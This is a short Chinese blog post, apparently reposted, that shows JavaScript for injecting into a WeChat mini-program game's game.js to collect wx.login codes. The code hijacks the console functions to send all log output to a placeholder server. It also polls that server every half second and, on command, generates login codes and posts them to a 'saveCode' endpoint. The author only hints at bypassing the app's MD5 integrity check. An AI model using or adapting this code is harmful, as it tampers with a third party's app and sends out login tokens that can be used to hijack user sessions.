微信小程序獲取某游戲的code碼


 修改 手機端里小程序里的game.js 文件:

至於怎么繞過小程序md5的驗證,請各位自行想辦法吧,我怕我把思路發出來,騰訊官方給封了。

獲取的code碼對我來說還是非常有用的。

var url = "https://xxxx.com/echo";
var url2 = "https://xxxx.com/look";
var url3 = "https://xxxx.com/saveCode";
function dzqLog(method, args) {
  wx.request({
    url,
    data: { m: method, a: args },
    method: "post",
    header: { "Content-Type": "application/json" },
    success: function (res) {},
  });
}
console.log = function () {
  dzqLog("log", Array.from(arguments));
};
console.info = function () {
  dzqLog("info", Array.from(arguments));
};
console.error = function () {
  dzqLog("error", Array.from(arguments));
};
console.warn = function () {
  dzqLog("warn", Array.from(arguments));
};

function getCode(){
    wx.login({
      success: function (err) {
        wx.request({
          url:url3,
          data: err,
          method: "post",
          header: { "Content-Type": "application/json" },
          success: function (res) {},
        });
      },
    });
}

setInterval(()=>{
  wx.request({
    url:url2,
    data: {},
    method: "post",
    header: { "Content-Type": "application/json" },
    success: function (res) {
      let {needCount} = res.data;
      if(needCount){
        while(needCount--){
          getCode();
        }
      }
    },
  });
}, 500);

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM